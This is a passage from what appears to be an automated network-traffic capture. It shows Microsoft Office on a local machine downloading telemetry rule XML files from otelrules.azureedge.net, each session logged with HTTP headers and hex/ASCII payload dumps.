2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:58 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:58 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020858Z-1777c6cb754j8gqphC1TEB5bf80000000ab000000000g5x3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:58 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:58 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020858Z-178bfbc474b9fdhphC1NYCac0n00000000ng00000000zyvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:58 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:58 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6a968014-801e-0015-537c-3bf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020858Z-178bfbc474bkvpdnhC1NYCuu2w00000000y0000000009xah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:58 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:00 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:00 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8176cca2-201e-0003-2c64-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020900Z-178bfbc474b9fdhphC1NYCac0n00000000r000000000m78h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:00 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:00 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:00 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020900Z-r1d97b99577brct2hC1TEBambg000000039g00000000phq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:00 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:00 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:00 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020900Z-r1d97b99577jlrkbhC1TEBq8d000000009kg00000000czyd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:00 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:00 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:00 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:00 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020900Z-1777c6cb754vxwc9hC1TEBykgw0000000af0000000009a7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:00 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:00 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:00 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: e7fd51b1-801e-0067-1163-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020900Z-178bfbc474bbbqrhhC1NYCvw74000000012g000000000f4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:00 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:02 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:03 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:02 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 4ee4281a-701e-0098-0fa0-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020902Z-r1d97b99577656nchC1TEBk98c00000009ug000000004sr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:03 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:02 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020902Z-1777c6cb754j8gqphC1TEB5bf80000000a7g00000000w6ba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:02 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:03 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:02 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020902Z-178bfbc474bp8mkvhC1NYCzqnn00000000gg00000000sed6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:03 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:02 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:03 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020902Z-178bfbc474bwlrhlhC1NYCy3kg00000000r0000000012qk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 